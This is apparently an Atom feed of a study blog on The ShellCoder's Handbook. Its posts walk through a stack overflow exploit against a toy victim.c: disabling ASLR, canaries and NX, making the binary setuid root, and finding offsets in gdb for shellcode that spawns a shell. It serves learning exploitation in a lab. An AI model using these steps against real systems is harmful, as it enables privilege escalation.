<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7878423829977457548</id><updated>2012-01-20T17:53:47.699-08:00</updated><category term='linux'/><category term='manpages'/><category term='wack.c'/><category term='xor'/><category term='shellcode'/><category term='ret2libc.c'/><category term='sysctl'/><category term='gdb'/><category term='memfetch'/><category term='vmware'/><category term='preferred-stack-boundary'/><category term='disable aslr'/><category term='pop esi'/><category term='ebx'/><category term='vim syntax'/><category term='execve'/><category term='chapter_2'/><category term='irb'/><category term='nop sled'/><category term='attack.c'/><category term='nopattack.c'/><category term='nulls'/><category term='asm'/><category term='cheated'/><category term='stack'/><category term='malloc'/><category term='oldversions'/><category term='chapter_3'/><category term='2.4 kernel'/><category term='execve2.c'/><category term='strace'/><category term='page.h'/><category term='debian'/><category term='gcc'/><category term='fail'/><category term='aslr'/><category term='return-to-libc'/><category term='exploit'/><category term='sarge'/><title type='text'>Errata and Notes for ShellCoder's Handbook</title><subtitle type='html'>This is a notebook for working through The ShellCoder's Handbook, 2nd Edition (Anley, Heasman, Linder, Richarte), wherein things that gives one pause as a shellcoding amateur are documented.

Hopefully, someone other than me finds this helpful, but it's okay if you are too 31337 to pick up anyting valuable here. Comments, questions, and contributions are more than welcome.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>14</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-2522269696060204192</id><published>2011-04-10T20:33:00.000-07:00</published><updated>2011-04-17T19:40:06.019-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='disable aslr'/><category scheme='http://www.blogger.com/atom/ns#' term='gcc'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='chapter_2'/><category scheme='http://www.blogger.com/atom/ns#' term='aslr'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='attack.c'/><category scheme='http://www.blogger.com/atom/ns#' term='preferred-stack-boundary'/><title type='text'>Chapter 2, "Using an Exploit", pp 31-38 Continued</title><content type='html'>Chapter 2 presents a simple C program that contains a buffer overflow, victim.c:&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;#include &amp;lt;string.h&amp;gt;&lt;br&gt;int main(int argc, char *argv[]) {&lt;br&gt;  char little_array[512];&lt;br&gt;  if (argc &amp;gt; 1)&lt;br&gt;    strcpy(little_array, argv[1]);&lt;br&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The chapter then proceeds to present a series of approaches to exploiting this application. We'll start with the first approach, which is one of the most basic and fundamental approaches you can take with a unrestricted stack buffer: A payload containing shellcode, followed by the address of the shellcode one or more times. Repeating the address of the shellcode is just a fudge-factor; technically, we only need it once in order to overwrite the return address, but we have to fill our buffer with SOMETHING, and it may as well be the address of our shellcode. We could just as easily substitute in NOPs or any kind of junk data, though, aside from null characters (\x00), which would terminate the strcpy() prematurely. In some cases, repeating your target offset may give you more leeway when the exact location of the memory you want to overwrite is unpredictable.&lt;br /&gt;&lt;br /&gt;There are a number of steps to overcome to get this basic exploit working. First, you need to decide which platform (version of Linux, compiler, etc.) you want to exploit this on. You can certainly &lt;a href="http://shellcoders.blogspot.com/2009/04/debian-24-kernel-vmware-image-ready.html"&gt;use an older version of an operating system (like this version of Debian based on the Linux version used in the book)&lt;/a&gt;, and this will reduce the number of extra steps you will have to take beyond what the book describes. Personally, I prefer to have the amenities of using a modern version of Linux, and also have some sense about what changes have been made to Linux and gcc to thwart such attacks. This also tells me what exploit mitigations I need to learn to defeat in order to get my exploits working on current platforms. I use a default version of Ubuntu Linux Desktop (10.10) for this purpose.&lt;br /&gt;&lt;br /&gt;Since I've opted to use modern versions of Linux and gcc, there are a bunch of exploit mitigation technologies that I need to either circumvent or turn off in order to get this attack working. Since we're still early in the book, let's start by just turning them off. These technologies include:&lt;br /&gt;&lt;br /&gt;1. ASLR - Randomization of memory segments that makes it difficult to find the address of the buffer we're overflowing, and thus difficult to find our shellcode in memory when we're trying to jump to it. This is a system-wide setting in Linux. I disable this with a short bash script (aslroff.sh):&lt;br /&gt;&lt;pre class="code"&gt;echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space&lt;br&gt;cat /proc/sys/kernel/randomize_va_space&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Which is invoked with:&lt;br /&gt;&lt;pre class="code"&gt;$ sudo ./aslroff.sh&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The default value in Ubuntu 10.10 is "2" rather than "0". "0" means "off".&lt;br /&gt;&lt;br /&gt;2. Stack cookies -- A stack cookie is an unpredictable value put on the stack between our buffer and the return address we want to overwrite. There's a call to a function to check this "canary" each time before returning from a given function, so if the canary fails this test, the program will be terminated before we get to jump to our overwritten return address. This is a program-specific, compiler-level protection that is turned on by default in gcc. This can be disabled by compiling our victim program with the gcc switch "-fno-stack-protector".&lt;br /&gt;&lt;br /&gt;3. DEP or NX -- This is an exploit mitigation that stops a program from executing code that is located on the stack. Most programs don't need to execute code from the stack, and so are set with this executable flag to protect them. A convenient utility to disable this protection is "execstack". execstack is not included by default in my copy of Ubuntu, I had to install it with "sudo apt-get install execstack". Once we've compiled our program, we can remove this default protection mechanism by running:&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;$ execstack -s ./victim&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The book suggests that we want to get shell as root (we'll see that there's a problem with this down the road), so taking all of this into account, the commands you want to run would look something like:&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;$ sudo gcc -fno-stack-protector -mpreferred-stack-boundary=2 -o victim victim.c&lt;br&gt;$ sudo execstack -s victim&lt;br&gt;$ sudo chown root victim&lt;br&gt;$ sudo chmod +s victim&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Hooray! Now we have a victim program with no DEP, ASLR, or stack canaries, running with root privileges.&lt;br /&gt;&lt;br /&gt;attack.c is written in such a way to make it easy to change the length of the payload, and to modify our guesstimate on the start location of our buffer. With this first approach, we don't have the luxury of a NOP sled, and need the exact offset of our shellcode in memory. The book is purposely vague on how to determine the proper payload length and memory offset at this point; it hasn't discussed in depth how to reverse target programs to obtain these values. The tediousness of blindly guessing these values illustrates the value of a NOP slded. However, if you already have some familiarity with basic commands in gdb, you can easily determine these values with a little reverse engineering, and use them as arguments to attack.c to generate a successful payload.&lt;br /&gt;&lt;br /&gt;For attack.c, you will have to make the modification mentioned in &lt;a href="http://shellcoders.blogspot.com/2010/08/chapter-2-using-exploit-pp-31-38.html"&gt;bNull's previous post&lt;/a&gt; in order for it to generate anything at all; be sure that you place the malloc() AFTER you read in the command-line args. Once you've made that fix, we want to determine 1) how much data on the stack we need to overwrite in order to overwrite main's return address, and 2) where our shellcode is in memory, so we can jump (technically, RET) to it.&lt;br /&gt;&lt;br /&gt;Let's go ahead and load our victim program into gdb:&lt;br /&gt;&lt;pre class="code"&gt;$ gdb -q ./victim&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;In order how to figure out how long our payload needs to be, we need to find out 2 things: a) where the buffer we're overflowing starts, and b) the RA that we're trying to overwrite. Since the vulnerable strcpy() occurs in main(), we're looking to overwrite the RA that is used by the RET in main(). If we disassemble the main function with "disas main":&lt;br /&gt;&lt;br /&gt;NOTE: YOUR SYSTEM MAY AND PROBABLY WILL DIFFER FROM MINE, SO FOLLOW ALONG ON YOUR OWN SYSTEM AND USE THE ADDRESSES THAT IT GENERATES, RATHER THAN THE ONES YOU SEE HERE.&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;(gdb) disas main&lt;br&gt;Dump of assembler code for function main:&lt;br&gt;   0x080483c4 &amp;lt;+0&amp;gt;:    push   %ebp&lt;br&gt;   0x080483c5 &amp;lt;+1&amp;gt;:    mov    %esp,%ebp&lt;br&gt;   0x080483c7 &amp;lt;+3&amp;gt;:    sub    $0x208,%esp&lt;br&gt;   0x080483cd &amp;lt;+9&amp;gt;:    cmpl   $0x1,0x8(%ebp)&lt;br&gt;   0x080483d1 &amp;lt;+13&amp;gt;:    jle    0x80483ed &amp;lt;main+41&amp;gt;&lt;br&gt;   0x080483d3 &amp;lt;+15&amp;gt;:    mov    0xc(%ebp),%eax&lt;br&gt;   0x080483d6 &amp;lt;+18&amp;gt;:    add    $0x4,%eax&lt;br&gt;   0x080483d9 &amp;lt;+21&amp;gt;:    mov    (%eax),%eax&lt;br&gt;   0x080483db &amp;lt;+23&amp;gt;:    mov    %eax,0x4(%esp)&lt;br&gt;   0x080483df &amp;lt;+27&amp;gt;:    lea    -0x200(%ebp),%eax&lt;br&gt;   0x080483e5 &amp;lt;+33&amp;gt;:    mov    %eax,(%esp)&lt;br&gt;   0x080483e8 &amp;lt;+36&amp;gt;:    call   0x80482f4 &amp;lt;strcpy@plt&amp;gt;&lt;br&gt;   0x080483ed &amp;lt;+41&amp;gt;:    leave&lt;br&gt;   0x080483ee &amp;lt;+42&amp;gt;:    ret&lt;br&gt;End of assembler dump.&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Based on our (presumed) understanding of how the stack works, we know that the RET command at 0x080483ee will pop the return address from the stack (currently pointed to by ESP) and jump to that address. If we set a breakpoint at that instruction and look at the value of ESP, that will tell us exactly where in the stack segment the return address lies; since we have ASLR disabled, it will always be the same address.&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;(gdb) break *0x080483ee&lt;br&gt;Breakpoint 1 at 0x80483ee&lt;br&gt;(gdb) run putwhateverhere&lt;br&gt;Starting program: /home/kjw/shellcoders-handbook/victim putwhateverhere&lt;br&gt;Breakpoint 1, 0x080483ee in main ()&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Note: We have to prefix the address that we want to set a breakpoint at in order to tell gdb that it's a memory address, rather than a c function called "0x080483ee()". Then, we run the program, giving it some junk text as a parameter so that it will pass the "if (argc &amp;gt; 1)" check. As we hoped, the program stopped right before executing the RET command. Now, if we look at ESP:&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;(gdb) x/xw $esp&lt;br&gt;0xbffffbcc:    0x00155ce7&lt;br&gt;(gdb) disas 0x00155ce7&lt;br&gt;Dump of assembler code for function __libc_start_main:&lt;br&gt;0x00155c00 &amp;lt;+0&amp;gt;:    push   %ebp&lt;br&gt;0x00155c01 &amp;lt;+1&amp;gt;:    mov    %esp,%ebp&lt;br&gt;...&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;We can see that ESP is currently pointing at a function called "__libc_start_main". This is a function that is executed before the main() function is executed, and which actually calls main(), so naturally we are returning to that function when we return from main(). We can also see that the RA we want to overwrite on the stack is located at the address 0xbffffbcc. In Ubuntu 10.10, stack addresses tend to start with "0xbffff".&lt;br /&gt;&lt;br /&gt;Now we need to find out where the buffer starts on the stack. There are lots of ways to figure this out, but to keep things simple, let's just restart the program with an input to the buffer that will be easy to recognize in memory, and stick with the same breakpoint at RET in main(). I like to use a bunch of "A"s, the ASCII code of which is 0x41 in hex.&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;(gdb) run AAAAAAAAAAAAAAAAAA&lt;br&gt;The program being debugged has been started already.&lt;br&gt;Start it from the beginning? (y or n) y&lt;br&gt;&lt;br&gt;Starting program: /home/kjw/shellcoders-handbook/victim AAAAAAAAAAAAAAAAAA&lt;br&gt;&lt;br&gt;Breakpoint 1, 0x080483ee in main ()&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So again, we have our stack pointer pointing at the return address from main(). The RA was pushed to the stack before main() was called, so our target buffer must have been created somewhere later on the stack. Since the stack grows up toward smaller addresses in memory, our buffer is going to be in a lower memory address than where ESP currently points to. Memory will look something like:&lt;br /&gt;&lt;br /&gt;lower address e.g. 0x00000000&lt;br /&gt;/\&lt;br /&gt;&lt;br /&gt;[target buffer, approximately 512-bytes in length]&lt;br /&gt;[some other stuff, possibly]&lt;br /&gt;[return address]&lt;br /&gt;&lt;br /&gt;\/&lt;br /&gt;higher address e.g. 0xffffffff&lt;br /&gt;&lt;br /&gt;It's certainly possible that our target buffer may have already been overwritten and otherwise mangled by the time execution arrives at the RET command, but since there's not much going on in our program, it will still be sitting there in memory where we put it with strcpy(); just the stack pointer has been moved since then. We don't know exactly where it will start, but we know it will be at least 512 bytes previous to the RA, since that's the size of the buffer. Unless there is a special case, we'll want to look before that in some multiple of 4 bytes to stay aligned with the stack.&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;(gdb) x/20xw $esp-532&lt;br&gt;0xbffff9b8:    0xbffffbc8    0x080483ed    0xbffff9c8    0xbffffdce&lt;br&gt;0xbffff9c8:    0x41414141    0x41414141    0x41414141    0x41414141&lt;br&gt;0xbffff9d8:    0x00004141    0x00000001    0x0012cff4    0x00000000&lt;br&gt;0xbffff9e8:    0xbffffa94    0x0011b0df    0x0012dad0    0x00130d78&lt;br&gt;0xbffff9f8:    0x00000001    0x00000001    0x00000000    0x0011caca&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Hey, look! We have a bunch of 0x41's in a row, starting at address 0xbffff9c8 on the stack. That must be the many consecutive "A" characters that we passed to the program as an argument. Now we need to figure out the distance between the beginning of the buffer and the return address that we want to overwrite, so we know how long the payload needs to be.&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;(gdb) p 0xbffffbcc - 0xbffff9c8&lt;br&gt;$1 = 516&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;We actually need to add 4 to this value, because the integer printed here is the distance between the beginning of the buffer and the offset immediately before the RA, which itself is 4 bytes. If you're already a bit familiar with reversing, 520 is exactly what you would expect if the compiler is not putting any fluff on the stack: 512 bytes for the buffer, a 4-byte "saved frame pointer" (SFP), and a 4-byte return address.&lt;br /&gt;&lt;br /&gt;We now have almost everything that we need to get our attack working in GDB. We know where our shellcode starts on the stack: at the beginning of the buffer, at 0xbffff9c8. We also know how long our payload needs to be in order to overwrite the return address: 520 bytes. The second value has to be tweaked slightly due to the way that attack.c is written: we need to add 4 to account for the "BUF=" string added to the beginning of the buffer in attack.c, and add 1 more so that we're not overwriting our destination offset with the null terminating character. The final buffer length argument we'll use is 525. In order to get that first offset value (0xbffff9c8) working with our attack.c program, we just need to relate that address to the guesstimate offset that's included in attack.c. We can figure this out by trying it with an offset argument of 0 first:&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ ./attack 525 0&lt;br&gt;Attempting address: 0xbffffbd8&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Without any offset provided by us, the program will create a payload that guesses that the shellcode can be found at 0xbffffbd8. Wrong! Where in attack.c do we use that offset argument to change the guess?&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;addr = find_start() - offset;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;OK, so if the offset is zero, that means that addr = find_start() - 0 = 0xbffffbd8. We want addr to be 0xbffff9c8. This means the following equation will compute the "addr" guess based on the offset argument provided to attack.c:&lt;br /&gt;&lt;br /&gt;0xbffffbd8 - 0xbffff9c8 = offset&lt;br /&gt;&lt;br /&gt;Let's find the right offset to use:&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ gdb -q&lt;br&gt;(gdb) p 0xbffffbd8 - 0xbffff9c8&lt;br&gt;$1 = 528&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Alright, so if we use a bsize argument of 525 and an offset argument of 528, our exploit should work. Let's try it in gdb. Before that, let's exit the /bin/sh shell that was started by running "attack" last time.&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ exit&lt;br&gt;exit&lt;br&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ ./attack 525 528&lt;br&gt;Attempting address: 0xbffff9c8&lt;br&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ gdb -q ./victim&lt;br&gt;Reading symbols from /home/kjw/shellcoders-handbook/victim...(no debugging symbols found)...done.&lt;br&gt;(gdb) run $BUF&lt;br&gt;Starting program: /home/kjw/shellcoders-handbook/victim $BUF&lt;br&gt;&lt;br&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br&gt;0xbffff9c8 in ?? ()&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Oops. The program crashed, no shell. gdb tells us that when it crashed, it was executing our target offset at 0xbffff9c8. Let's look at the stack there right before the RET command is executed.&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;(gdb) b *0x080483ee&lt;br&gt;Breakpoint 1 at 0x80483ee&lt;br&gt;(gdb) run $BUF&lt;br&gt;The program being debugged has been started already.&lt;br&gt;Start it from the beginning? (y or n) y&lt;br&gt;&lt;br&gt;Starting program: /home/kjw/shellcoders-handbook/victim $BUF&lt;br&gt;&lt;br&gt;Breakpoint 1, 0x080483ee in main ()&lt;br&gt;(gdb) x/x $esp&lt;br&gt;0xbffff27c:    0xbffff9c8&lt;br&gt;(gdb) x/x 0xbffff9c8&lt;br&gt;0xbffff9c8:    0x67733a31&lt;br&gt;(gdb) x/20x $esp-532&lt;br&gt;0xbffff068:    0xbffff278    0x080483ed    0xbffff078    0xbffff49a&lt;br&gt;0xbffff078:    0x315e1aeb    0x074688c0    0x5e891e8d    0x0c468908&lt;br&gt;0xbffff088:    0xf3890bb0    0x8d084e8d    0x80cd0c56    0xffffe1e8&lt;br&gt;0xbffff098:    0x69622fff    0x68732f6e    0xbffff9c8    0xbffff9c8&lt;br&gt;0xbffff0a8:    0xbffff9c8    0xbffff9c8    0xbffff9c8    0xbffff9c8&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This doesn't look like the start of our shellcode; we were looking for 0x315e1aeb but found 0x67733a31. And there's another thing that's strange here. When we were first finding the beginning of our shellcode on the stack, it was at 0xbffffbcc, and now it's at 0xbffff078. It's moved, even though we disabled ASLR. What's changed since then? Well, instead of just providing a junk string to victim, we've now executed attack.c with some arguments, which then creates an environment variable in another invocation of /bin/sh with "putenv(buff)" and "system("/bin/bash -p")" in attack.c. All of this has the potential to change the stack by the time we start running victim.c in gdb.&lt;br /&gt;&lt;br /&gt;So, as you can see, if we are going to use this approach of storing our payload in an environment variable and invoking /bin/sh with it, we either need to predict exactly how this will impact the stack, or we need to use an iterative process to figure out the correct values for our offsets and payload size. Let's see if we can get the correct values by debugging in as close to the final attack environment as possible. First, we want to make sure that we always return to the same common point in /bin/sh invocations; otherwise, each new invocation will move the stack around. I'm connected to an Ubuntu virtual machine via ssh, and I don't enable colors on the command-line interface. Whenever I invoke another /bin/sh, it enables colors. So,  I know that I've returned to a common point when I've run exit enough times to have no color.&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ ./attack 520 0&lt;br&gt;Attempting address: 0xbffffbd8&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Default offset for attack.c is still 0xbffffbd8.&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ gdb -q&lt;br&gt;(gdb) p 0xbffffbd8-0xbffff078&lt;br&gt;$1 = 2912&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;New offset arg to use is 2912.&lt;br /&gt;&lt;br /&gt;Now exit back to the common bash invocation and try these new values with attack.c.&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ exit&lt;br&gt;exit&lt;br&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ ./attack 525 2912&lt;br&gt;Attempting address: 0xbffff078&lt;br&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ gdb -q ./victim&lt;br&gt;Reading symbols from /home/kjw/shellcoders-handbook/victim...(no debugging symbols found)...done.&lt;br&gt;(gdb) run $BUF&lt;br&gt;Starting program: /home/kjw/shellcoders-handbook/victim $BUF&lt;br&gt;process 10639 is executing new program: /bin/dash&lt;br&gt;$&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Success! We overwrote the return address with the offset of our shellcode, and our shellcode got us root. Right?&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;$ whoami&lt;br&gt;kjw&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Unfortunately for us, bash will drop privileges by default. We need different shellcode that prepends a call to seteuid() before invoking bash. I'll hopefully be writing another blog post about how to use the Metasploit Framework to generate shellcode that can do this for us. For now, let's just try to get this non-root exploit working outside of gdb. What happens when we try to run it with the same parameters outside of gdb?&lt;br /&gt;&lt;br /&gt;&lt;pre class="code"&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ ./attack 525 2912&lt;br&gt;Attempting address: 0xbffff078&lt;br&gt;kjw@ubuntu-vm0:~/shellcoders-handbook$ ./victim $BUF&lt;br&gt;Illegal instruction&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So, it appears that the mere act of executing the program in gdb as opposed to from the shell changes the stack and blows our exploit. Figuring out how to modify the offset to account for this can be a bit tricky, so I'll leave that for another blog post as well.&lt;br /&gt;&lt;br /&gt;(Edited 4/17 with a few corrections about Linux versions from todb for sake of clarity.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-2522269696060204192?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/2522269696060204192/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2011/04/chapter-2-using-exploit-pp-31-38.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/2522269696060204192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/2522269696060204192'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2011/04/chapter-2-using-exploit-pp-31-38.html' title='Chapter 2, &quot;Using an Exploit&quot;, pp 31-38 Continued'/><author><name>kristov</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-8719157996219017527</id><published>2010-08-23T17:31:00.000-07:00</published><updated>2010-08-23T18:29:57.748-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malloc'/><category scheme='http://www.blogger.com/atom/ns#' term='chapter_2'/><category scheme='http://www.blogger.com/atom/ns#' term='return-to-libc'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='nopattack.c'/><category scheme='http://www.blogger.com/atom/ns#' term='attack.c'/><category scheme='http://www.blogger.com/atom/ns#' term='ret2libc.c'/><title type='text'>Chapter 2, "Using an Exploit", pp 31-38</title><content type='html'>&lt;blockquote&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;There are a couple of code examples in chapter 2 that just wouldn't work for me out of the box.  Specifically, I'm referring to attack.c and ret2lib.c.  Interestingly enough, the related example that falls in between, nopattack.c, seems to work without modification.  My C is hackish at best, so it wasn't immediately obvious to me what the problem was.  Comparing the malfunctioning examples with nopattack.c, however, it became apparent that the memory allocation line was missing.  The following is the missing lines of code:&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;if (!(buff = malloc(bsize))) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;printf("Can't allocate memory.\n");&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;exit(0);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;  }&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;This should go right after your definition of bsize (line 26 in both examples should be fine).  Without this line, the app segfaults... which makes sense, in hindsight.  We're trying to use heap space that we haven't allocated!  Unfortunately, as todb mentioned in a &lt;/span&gt;&lt;/span&gt;&lt;a href="http://shellcoders.blogspot.com/2009/04/cheaters-page-32.html"&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;previous post&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;, the technique in attack.c doesn't seem to work, anyway.  A future endeavor, perhaps.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Additionally, with reference to ret2libc attacks, there's an excellent paper by Nergal in phrack 58, titled "&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap; "&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;The advanced return-into-lib(c) exploits: PaX case study".  It can be found over &lt;a href="http://www.phrack.org/issues.html?issue=58&amp;amp;id=4#article"&gt;here&lt;/a&gt;.  It goes into detail about techniques to chain multiple ret2libc calls together, in addition to an in-depth discussion about PaX.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-8719157996219017527?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/8719157996219017527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2010/08/chapter-2-using-exploit-pp-31-38.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/8719157996219017527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/8719157996219017527'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2010/08/chapter-2-using-exploit-pp-31-38.html' title='Chapter 2, &quot;Using an Exploit&quot;, pp 31-38'/><author><name>bNull</name><uri>http://www.blogger.com/profile/16242729046898368923</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 